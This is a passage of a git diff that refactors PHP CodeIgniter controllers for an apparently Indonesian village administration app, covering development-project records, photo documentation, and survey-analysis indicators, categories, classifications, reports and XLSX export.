$this->pembangunan->delete($id); + + if ($this->db->affected_rows()) { + $this->session->success = 4; + } else { + $this->session->success = -4; + } + + redirect($this->controller); + } + + public function lokasi_maps($id) + { + $data = $this->pembangunan->find($id) ?? show_404(); + + // Update lokasi maps + if ($request = $this->input->post()) { + $this->redirect_hak_akses('u'); + $this->pembangunan->update_lokasi_maps($id, $request); + + $this->session->success = 1; + + redirect($this->controller); + } + + $this->render(ADMIN . '/pembangunan/lokasi_maps', [ + 'data' => $data, + 'desa' => $this->header['desa'], + 'wil_atas' => $this->header['desa'], + 'dusun_gis' => $this->wilayah_model->list_dusun(), + 'rw_gis' => $this->wilayah_model->list_rw(), + 'rt_gis' => $this->wilayah_model->list_rt(), + 'all_lokasi' => $this->plan_lokasi_model->list_lokasi(), + 'all_garis' => $this->plan_garis_model->list_garis(), + 'all_area' => $this->plan_area_model->list_area(), + 'all_lokasi_pembangunan' => $this->pembangunan->list_lokasi_pembangunan(), + ]); + } + + public function dialog_daftar($id = 0, $aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/daftar/{$id}/{$aksi}"); + + $this->load->view('global/ttd_pamong', $data); + } + + public function daftar($id = 0, $aksi = '') + { + $request = $this->input->post(); + + $pembangunan = $this->pembangunan->find($id) ?? show_404(); + $dokumentasi = $this->dokumentasi->find_dokumentasi($pembangunan->id); + + $data['pembangunan'] = $pembangunan; + $data['dokumentasi'] = $dokumentasi; + $data['config'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($request['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($request['pamong_ketahui']); + $data['aksi'] = $aksi; + $data['ekstensi'] = 'doc'; + $data['file'] = 'Laporan Pembangunan'; + $data['isi'] = ADMIN . '/pembangunan/cetak'; + + $this->load->view('global/format_cetak', $data); + } + + public function unlock($id) + { + $this->pembangunan->unlock($id); + + $this->session->success = 1; + + redirect($this->controller); + } + + public function lock($id) + { + $this->redirect_hak_akses('u'); + $this->pembangunan->lock($id); + + $this->session->success = 1; + + redirect($this->controller); + } + + // Dokumentasi Pembangunan + public function dokumentasi($id = null) + { + $pembangunan = $this->pembangunan->find($id) ?? show_404(); + $_SESSION['id_pembangunan'] = $id; + + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->dokumentasi::ORDER_ABLE[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + + $data = $this->dokumentasi->get_data($id, $search)->order_by($order, $dir)->limit($length, $start)->get()->result(); + $data = collect($data)->map(static function ($item) { + $item->url_gambar = to_base64(LOKASI_GALERI . $item->gambar); + + return $item; + })->toArray(); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->dokumentasi->get_data($id)->count_all_results(), + 'recordsFiltered' => $this->dokumentasi->get_data($id, $search)->count_all_results(), + 'data' => $data, + ]); + } + + $this->render(ADMIN . '/pembangunan/dokumentasi/index', [ + 'pembangunan' => $pembangunan, + ]); + } + + public function dokumentasi_form($id = '') + { + $this->redirect_hak_akses('u'); + $id_pembangunan = $this->session->id_pembangunan; + + if ($id) { + $data['main'] = $this->dokumentasi->find($id) ?? show_404(); + $data['perubahan'] = $this->pembangunan->find($id_pembangunan)->perubahan_anggaran ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/dokumentasi_update/{$id}/{$id_pembangunan}"); + } else { + $data['main'] = null; + $data['form_action'] = site_url("{$this->controller}/dokumentasi_insert/{$id_pembangunan}"); + } + + $data['id_pembangunan'] = $id_pembangunan; + $data['persentase'] = $this->referensi_model->list_ref(STATUS_PEMBANGUNAN); + + $this->render(ADMIN . '/pembangunan/dokumentasi/form', $data); + } + + public function dokumentasi_insert($id_pembangunan = '') + { + $this->redirect_hak_akses('u'); + $this->dokumentasi->insert($id_pembangunan); + redirect("{$this->controller}/dokumentasi/{$id_pembangunan}"); + } + + public function dokumentasi_update($id = '', $id_pembangunan = '') + { + $this->redirect_hak_akses('u'); + $this->dokumentasi->update($id, $id_pembangunan); + redirect("{$this->controller}/dokumentasi/{$id_pembangunan}"); + } + + public function dokumentasi_delete($id_pembangunan, $id) + { + $this->redirect_hak_akses('h'); + $this->dokumentasi->delete($id); + + if ($this->db->affected_rows()) { + $this->session->success = 4; + } else { + $this->session->success = -4; + } + + redirect("{$this->controller}/dokumentasi/{$id_pembangunan}"); + } +} diff --git a/donjo-app/controllers/Analisis_indikator.php b/donjo-app/controllers/Analisis_indikator.php index 83edd0161..7fa0724d0 100644 --- a/donjo-app/controllers/Analisis_indikator.php +++ b/donjo-app/controllers/Analisis_indikator.php @@ -1,561 +1,276 @@ -session->has_userdata('analisis_master')) { + $this->session->success = -1; + $this->session->error_msg = 'Pilih master analisis terlebih dahulu'; + + redirect('analisis_master'); + } + + $this->load->model(['analisis_indikator_model', 'analisis_parameter_model', 'analisis_master_model']); + $this->session->submenu = 'Data Indikator'; + $this->session->asubmenu = 'analisis_indikator'; + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'master-analisis'; + } + + public function clear() + { + $this->session->unset_userdata(['cari', 'filter', 'tipe', 'kategori']); + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + unset($_SESSION['cari2']); + $data['p'] = $p; + $data['o'] = $o; + + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + if (isset($_SESSION['tipe'])) { + $data['tipe'] = $_SESSION['tipe']; + } else { + $data['tipe'] = ''; + } + if (isset($_SESSION['kategori'])) { + $data['kategori'] = $_SESSION['kategori']; + } else { + $data['kategori'] = ''; + } + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->analisis_indikator_model->paging($p, $o); + $data['main'] = $this->analisis_indikator_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->analisis_indikator_model->autocomplete(); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['list_tipe'] = $this->analisis_indikator_model->list_tipe(); + $data['list_kategori'] = $this->analisis_indikator_model->list_kategori(); + + $this->render('analisis_indikator/table', $data); + } + + public function form($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['analisis_indikator'] = $this->analisis_indikator_model->get_analisis_indikator($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + + // Cek apakah ada pilihan untuk id_tipe 1 dan 2 + $data['ubah'] = ($this->analisis_indikator_model->list_indikator($id) && in_array($data['analisis_indikator']['id_tipe'], [1, 2])) ? false : true; + } else { + $data['analisis_indikator'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + + $data['ubah'] = true; + } + + $data['list_kategori'] = $this->analisis_indikator_model->list_kategori(); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['data_tabel'] = $this->analisis_indikator_model->data_tabel($this->session->subjek_tipe); + + $this->render('analisis_indikator/form', $data); + } + + public function parameter($id = 0) + { + $ai = $this->analisis_indikator_model->get_analisis_indikator($id) ?? show_404(); + if ($ai['id_tipe'] == 3 || $ai['id_tipe'] == 4) { + redirect($this->controller); + } + + $data['analisis_indikator'] = $ai; + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['main'] = $this->analisis_indikator_model->list_indikator($id); + + $this->render('analisis_indikator/parameter/table', $data); + } + + public function form_parameter($in = '', $id = 0) + { + $this->redirect_hak_akses('u'); + if ($id) { + $data['analisis_parameter'] = $this->analisis_indikator_model->get_analisis_parameter($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/p_update/{$in}/{$id}"); + } else { + $data['analisis_parameter'] = null; + $data['form_action'] = site_url("{$this->controller}/p_insert/{$in}"); + } + + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + $data['analisis_indikator'] = $this->analisis_indikator_model->get_analisis_indikator($in); + + $this->load->view('analisis_indikator/parameter/ajax_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $_SESSION['filter'] = $filter; + } else { + unset($_SESSION['filter']); + } + + redirect($this->controller); + } + + public function tipe() + { + $filter = $this->input->post('tipe'); + if ($filter != 0) { + $_SESSION['tipe'] = $filter; + } else { + unset($_SESSION['tipe']); + } + + redirect($this->controller); + } + + public function kategori() + { + $filter = $this->input->post('kategori'); + if ($filter != 0) { + $_SESSION['kategori'] = $filter; + } else { + unset($_SESSION['kategori']); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->analisis_indikator_model->insert(); + + redirect($this->controller); + } + + public function update($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_indikator_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_indikator_model->delete($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_indikator_model->delete_all(); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function p_insert($in = '') + { + $this->redirect_hak_akses('u'); + $this->analisis_indikator_model->p_insert($in); + + redirect("{$this->controller}/parameter/{$in}"); + } + + public function p_update($in = '', $id = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_indikator_model->p_update($id, $in); + + redirect("{$this->controller}/parameter/{$in}"); + } + + public function p_delete($in = '', $id = 0) + { + $this->redirect_hak_akses('h', "{$this->controller}/parameter/{$in}"); + $this->analisis_indikator_model->p_delete($id); + + redirect("{$this->controller}/parameter/{$in}"); + } + + public function p_delete_all($in = '') + { + $this->redirect_hak_akses('h', "{$this->controller}/parameter/{$in}"); + $this->analisis_indikator_model->p_delete_all(); + + redirect("{$this->controller}/parameter/{$in}"); + } +} diff --git a/donjo-app/controllers/Analisis_kategori.php b/donjo-app/controllers/Analisis_kategori.php index 7bf959ce0..6a1bfff36 100644 --- a/donjo-app/controllers/Analisis_kategori.php +++ b/donjo-app/controllers/Analisis_kategori.php @@ -1,553 +1,155 @@ -session->has_userdata('analisis_master')) { + $this->session->success = -1; + $this->session->error_msg = 'Pilih master analisis terlebih dahulu'; + + redirect('analisis_master'); + } + + $this->load->model(['analisis_kategori_model', 'analisis_master_model']); + $this->session->submenu = 'Data Kategori'; + $this->session->asubmenu = 'analisis_kategori'; + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'master-analisis'; + $this->set_page = ['20', '50', '100']; + $this->list_session = ['cari', 'filter', 'state']; + } + + public function clear() + { + $this->session->unset_userdata(['cari']); + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + unset($_SESSION['cari2']); + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->analisis_kategori_model->paging($p, $o); + $data['main'] = $this->analisis_kategori_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + + $data['keyword'] = $this->analisis_kategori_model->autocomplete(); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + + $this->render('analisis_kategori/table', $data); + } + + public function form($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['analisis_kategori'] = $this->analisis_kategori_model->get_analisis_kategori($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + } else { + $data['analisis_kategori'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $this->load->view('analisis_kategori/ajax_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->analisis_kategori_model->insert(); + + redirect($this->controller); + } + + public function update($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_kategori_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_kategori_model->delete($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_kategori_model->delete_all(); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } +} diff --git a/donjo-app/controllers/Analisis_klasifikasi.php b/donjo-app/controllers/Analisis_klasifikasi.php index 79fdee218..34ed35331 100644 --- a/donjo-app/controllers/Analisis_klasifikasi.php +++ b/donjo-app/controllers/Analisis_klasifikasi.php @@ -1,577 +1,157 @@ -session->has_userdata('analisis_master')) { + $this->session->success = -1; + $this->session->error_msg = 'Pilih master analisis terlebih dahulu'; + + redirect('analisis_master'); + } + + $this->load->model(['analisis_klasifikasi_model', 'analisis_master_model']); + $this->session->submenu = 'Data Klasifikasi'; + $this->session->asubmenu = "{$this->controller}"; + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'master-analisis'; + $this->set_page = ['20', '50', '100']; + $this->list_session = ['cari', 'filter', 'state']; + } + + public function clear() + { + $this->session->unset_userdata(['cari']); + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + unset($_SESSION['cari2']); + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $_SESSION['per_page']; + + $data['paging'] = $this->analisis_klasifikasi_model->paging($p, $o); + $data['main'] = $this->analisis_klasifikasi_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->analisis_klasifikasi_model->autocomplete(); + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + + $this->render('analisis_klasifikasi/table', $data); + } + + public function form($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['analisis_klasifikasi'] = $this->analisis_klasifikasi_model->get_analisis_klasifikasi($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + } else { + $data['analisis_klasifikasi'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($this->session->analisis_master); + + $this->load->view('analisis_klasifikasi/ajax_form', $data); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $_SESSION['cari'] = $cari; + } else { + unset($_SESSION['cari']); + } + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->analisis_klasifikasi_model->insert(); + + redirect($this->controller); + } + + public function update($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $this->analisis_klasifikasi_model->update($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_klasifikasi_model->delete($id); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + $this->analisis_klasifikasi_model->delete_all(); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } +} diff --git a/donjo-app/controllers/Analisis_laporan.php b/donjo-app/controllers/Analisis_laporan.php index 35ffadd38..217910371 100644 --- a/donjo-app/controllers/Analisis_laporan.php +++ b/donjo-app/controllers/Analisis_laporan.php @@ -1,545 +1,311 @@ -session->has_userdata('analisis_master')) { + $this->session->success = -1; + $this->session->error_msg = 'Pilih master analisis terlebih dahulu'; + + redirect('analisis_master'); + } + + $this->load->model(['pamong_model', 'wilayah_model', 'analisis_laporan_model', 'analisis_respon_model', 'analisis_master_model']); + $this->session->submenu = 'Laporan Analisis'; + $this->session->asubmenu = 'analisis_laporan'; + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'master-analisis'; + $this->_set_page = ['50', '100', '200']; + $this->_list_session = ['cari', 'klasifikasi', 'dusun', 'rw', 'rt', 'jawab']; + } + + public function clear() + { + $this->session->unset_userdata($this->_list_session); + $this->session->per_page = $this->_set_page[0]; + + redirect($this->controller); + } + + public function index($p = 1, $o = 0) + { + if (empty($this->analisis_master_model->get_aktif_periode())) { + $this->session->success = -1; + $this->session->error_msg = 'Tidak ada periode aktif. Untuk laporan ini harus ada periode aktif.'; + + redirect('analisis_periode'); + } + $this->session->unset_userdata(['cari2']); // cari2 gunanya apa??? + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->_list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } else { + $data[$list] = $this->session->{$list} ?: ''; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['judul'] = $this->analisis_laporan_model->get_judul(); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['list_klasifikasi'] = $this->analisis_laporan_model->list_klasifikasi(); + $data['paging'] = $this->analisis_laporan_model->paging($p, $o); + $data['main'] = $this->analisis_laporan_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->analisis_laporan_model->autocomplete(); + $data['analisis_master'] = $this->analisis_master_model->analisis_master; + $data['analisis_periode'] = $this->analisis_master_model->periode; + + $this->render('analisis_laporan/table', $data); + } + + public function kuisioner($p = 1, $o = 0, $id = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['id'] = $id; + + $data['analisis_master'] = $this->analisis_master_model->analisis_master; + $data['subjek'] = $this->analisis_laporan_model->get_subjek($id); + $data['total'] = $this->analisis_laporan_model->get_total($id); + + $this->load->model('analisis_respon_model'); + $data['list_bukti'] = $this->analisis_respon_model->list_bukti($id); + $data['list_anggota'] = $this->analisis_respon_model->list_anggota($id); + $data['list_jawab'] = $this->analisis_laporan_model->list_indikator($id); + $data['form_action'] = site_url("analisis_laporan/update_kuisioner/{$p}/{$o}/{$id}"); + if ($master['subjek_tipe'] == 5) { + $data['asubjek'] = ucwords($this->setting->sebutan_desa); + } else { + $data['asubjek'] = $this->referensi_model->list_by_id('analisis_ref_subjek')[$master['subjek_tipe']]['subjek']; + } + + $this->render('analisis_laporan/form', $data); + } + + // $aksi = cetak/unduh + public function dialog_kuisioner($p = 1, $o = 0, $id = 0, $aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = ucwords($aksi); + $data['form_action'] = site_url("analisis_laporan/daftar/{$p}/{$o}/{$id}/{$aksi}"); + + $this->load->view('global/ttd_pamong', $data); + } + + private function subjek_tipe() + { + $subjek_tipe = $this->session->subjek_tipe; + + switch ($subjek_tipe) { + case 1: $asubjek = 'Penduduk'; + break; + + case 2: $asubjek = 'Keluarga'; + break; + + case 3: $asubjek = 'Rumahtangga'; + break; + + case 4: $asubjek = 'Kelompok'; + break; + + default: return null; + } + + return $asubjek; + } + + public function daftar($p = 1, $o = 0, $id = 0, $aksi = '') + { + $post = $this->input->post(); + $data['p'] = $p; + $data['o'] = $o; + + $data['analisis_master'] = $this->analisis_master_model->analisis_master; + $data['subjek'] = $this->analisis_laporan_model->get_subjek($id); + $data['asubjek'] = $this->subjek_tipe(); + $data['total'] = $this->analisis_laporan_model->get_total($id); + + $this->load->model('analisis_respon_model'); + $data['list_bukti'] = $this->analisis_respon_model->list_bukti($id); + $data['list_anggota'] = $this->analisis_respon_model->list_anggota($id); + $data['list_jawab'] = $this->analisis_laporan_model->list_indikator($id); + + $data['config'] = $this->header['desa']; + $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']); + $data['aksi'] = $aksi; + + $this->load->view('analisis_laporan/form_cetak', $data); + } + + // $aksi = cetak/unduh + public function dialog($o = 0, $aksi = '') + { + // Simpan session lama + $temp_cari = $this->session->cari; + $this->session->unset_userdata('cari'); + $data = $this->modal_penandatangan(); + $data['aksi'] = ucwords($aksi); + $data['form_action'] = site_url("analisis_laporan/cetak/{$o}/{$aksi}"); + $this->session->cari = $temp_cari; + + $this->load->view('global/ttd_pamong', $data); + } + + public function cetak($o = 0, $aksi = '') + { + $post = $this->input->post(); + $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']); + $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']); + $data['aksi'] = $aksi; + $data['config'] = $this->header['desa']; + $data['judul'] = $this->analisis_laporan_model->get_judul(); + $data['file'] = 'Laporan Hasil Analisis ' . $data['judul']['asubjek']; + $data['isi'] = 'analisis_laporan/table_print'; + $data['analisis_master'] = $this->analisis_master_model->analisis_master; + $data['main'] = $this->analisis_laporan_model->list_data($o, 0, 10000); + $data['letak_ttd'] = ['2', '2', '1']; + + $this->load->view('global/format_cetak', $data); + } + + public function multi_jawab() + { + $data['form_action'] = site_url('analisis_laporan/multi_exec'); + $data['main'] = $this->analisis_laporan_model->multi_jawab(1, 1); + + $this->load->view('analisis_laporan/ajax_multi', $data); + } + + public function multi_exec() + { + $idcb = $_POST['id_cb']; + print_r($idcb); + //redirect($this->controller); + } + + public function ajax_multi_jawab() + { + if (isset($_SESSION['jawab'])) { + $data['jawab'] = $_SESSION['jawab']; + } else { + $data['jawab'] = ''; + } + $data['main'] = $this->analisis_laporan_model->multi_jawab(1, 1); + $data['form_action'] = site_url('analisis_laporan/multi_jawab_proses'); + + $this->load->view('analisis_laporan/ajax_multi', $data); + } + + public function multi_jawab_proses() + { + if (isset($_POST['id_cb'])) { + unset($_SESSION['jawab'], $_SESSION['jmkf']); + + $id_cb = $_POST['id_cb']; + $cb = ''; + if (count($id_cb)) { + foreach ($id_cb as $id) { + $cb .= $id . ','; + } + } + $_SESSION['jawab'] = $cb . '7777777'; + + $jmkf = $this->analisis_laporan_model->group_parameter(); + $_SESSION['jmkf'] = count($jmkf); + } + + redirect($this->controller); + } + + public function filter($filter) + { + if ($filter == 'dusun') { + $this->session->unset_userdata(['rw', 'rt']); + } + if ($filter == 'rw') { + $this->session->unset_userdata('rt'); + } + + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + + redirect($this->controller); + } +} diff --git a/donjo-app/controllers/Analisis_master.php b/donjo-app/controllers/Analisis_master.php index f2efa3663..5430059fd 100644 --- a/donjo-app/controllers/Analisis_master.php +++ b/donjo-app/controllers/Analisis_master.php @@ -1,537 +1,490 @@ -load->model('analisis_master_model'); + $this->load->model('analisis_import_model'); + $this->load->model('analisis_indikator_model'); + $this->load->model('analisis_parameter_model'); + $this->load->model('analisis_klasifikasi_model'); + $this->session->unset_userdata(['submenu', 'asubmenu']); + $this->modul_ini = 'analisis'; + $this->sub_modul_ini = 'master-analisis'; + $this->set_page = ['20', '50', '100']; + $this->list_session = ['cari', 'filter', 'state']; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + + redirect($this->controller); + } + + public function leave() + { + $id = $this->session->analisis_master; + $this->session->unset_userdata(['analisis_master']); + + redirect("{$this->controller}/menu/{$id}"); + } + + public function index($p = 1, $o = 0) + { + $this->session->unset_userdata(['analisis_master', 'analisis_nama']); + + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->analisis_master_model->paging($p, $o); + $data['data_import'] = $this->session->data_import; + $data['list_error'] = $this->session->list_error; + $data['keyword'] = $this->analisis_master_model->autocomplete(); + $data['list_subjek'] = $this->analisis_master_model->list_subjek(); + $data['main'] = $this->analisis_master_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + + $this->session->unset_userdata('list_error'); + + $this->render('analisis_master/table', $data); + } + + public function form($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['analisis_master'] = $this->analisis_master_model->get_analisis_master($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}"); + } else { + $data['analisis_master'] = null; + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['list_format_impor'] = ['1' => 'BDT 2015']; + $data['list_subjek'] = $this->analisis_master_model->list_subjek(); + $data['list_kelompok'] = $this->analisis_master_model->list_kelompok(); + $data['list_analisis'] = $this->analisis_master_model->list_analisis_child(); + + $this->render('analisis_master/form', $data); + } + + public function panduan() + { + $this->render('analisis_master/panduan'); + } + + public function import_analisis() + { + $this->redirect_hak_akses('u'); + $data['form_action'] = site_url("{$this->controller}/import"); + + $this->load->view('analisis_master/import', $data); + } + + public function import() + { + $this->redirect_hak_akses('u'); + $this->analisis_import_model->impor_analisis(); + + redirect($this->controller); + } + + public function ekspor($id) + { + $writer = WriterEntityFactory::createXLSXWriter(); + $master = $this->analisis_master_model->get_analisis_master($id) ?? show_404(); + //Nama File + $tgl = date('Y_m_d'); + $fileName = 'analisis_' . urlencode($master['nama']) . '_' . $tgl . '.xlsx'; + $writer->openToBrowser($fileName); // stream data directly to the browser + + $this->ekspor_master($writer, $master); + $this->ekspor_pertanyaan($writer, $master); + $this->ekspor_jawaban($writer, $master); + $this->ekspor_klasifikasi($writer, $master); + + $writer->close(); + + redirect($this->controller); + } + + private function style_judul() + { + $border = (new BorderBuilder()) + ->setBorderBottom() + ->setBorderTop() + ->setBorderRight() + ->setBorderLeft() + ->build(); + + return (new StyleBuilder()) + ->setFontBold() + ->setFontSize(14) + ->setBorder($border) + ->build(); + } + + private function style_baris() + { + $border = (new BorderBuilder()) + ->setBorderBottom(null, Border::WIDTH_THIN) + ->setBorderRight(null, Border::WIDTH_THIN) + ->setBorderLeft(null, Border::WIDTH_THIN) + ->build(); + + return (new StyleBuilder()) + ->setBorder($border) + ->build(); + } + + private function ekspor_master($writer, $master) + { + $sheet = $writer->getCurrentSheet(); + $sheet->setName('master'); + $periode = $this->analisis_master_model->get_periode($master['id']); + //Tulis judul + $master_analisis = [ + ['NAMA ANALISIS', $master['nama']], + ['SUBJEK', $master['subjek_tipe']], + ['STATUS', $master['lock']], + ['BILANGAN PEMBAGI', $master['pembagi']], + ['DESKRIPSI ANALISIS', $master['deskripsi']], + ['NAMA PERIODE', $periode->nama], + ['TAHUN PENDATAAN', $periode->tahun_pelaksanaan], + ]; + + foreach ($master_analisis as $baris_master) { + $baris = [ + WriterEntityFactory::createCell($baris_master[0], $this->style_judul()), + WriterEntityFactory::createCell($baris_master[1], $this->style_baris()), + ]; + $row = WriterEntityFactory::createRow($baris); + $writer->addRow($row); + } + } + + private function ekspor_pertanyaan($writer, $master) + { + $sheet = $writer->addNewSheetAndMakeItCurrent(); + $sheet->setName('pertanyaan'); + //Tulis judul + $daftar_kolom = [ + ['NO / KODE', 'nomor'], + ['PERTANYAAN / INDIKATOR', 'pertanyaan'], + ['KATEGORI / ASPEK', 'kategori'], + ['TIPE PERTANYAAN', 'id_tipe'], + ['BOBOT', 'bobot'], + ['AKSI ANALISIS', 'act_analisis'], + ]; + $judul = array_column($daftar_kolom, 0); + $header = WriterEntityFactory::createRowFromArray($judul, $this->style_judul()); + $writer->addRow($header); + // Tulis data + $indikator = $this->analisis_indikator_model->raw_analisis_indikator_by_id_master($master['id']); + + foreach ($indikator as $p) { + $baris_data = [$p['nomor'], $p['pertanyaan'], $p['kategori'], $p['id_tipe'], $p['bobot'], $p['act_analisis']]; + $baris = WriterEntityFactory::createRowFromArray($baris_data, $this->style_baris()); + $writer->addRow($baris); + } + } + + private function ekspor_jawaban($writer, $master) + { + $jawaban = $writer->addNewSheetAndMakeItCurrent(); + $jawaban->setName('jawaban'); + //Tulis judul + $daftar_kolom = [ + ['KODE PERTANYAAN', 'nomor'], + ['KODE JAWABAN', 'kode_jawaban'], + ['ISI JAWABAN', 'jawaban'], + ['NILAI', 'nilai'], + ]; + $judul = array_column($daftar_kolom, 0); + $header = WriterEntityFactory::createRowFromArray($judul, $this->style_judul()); + $writer->addRow($header); + // Tulis data + $parameter = 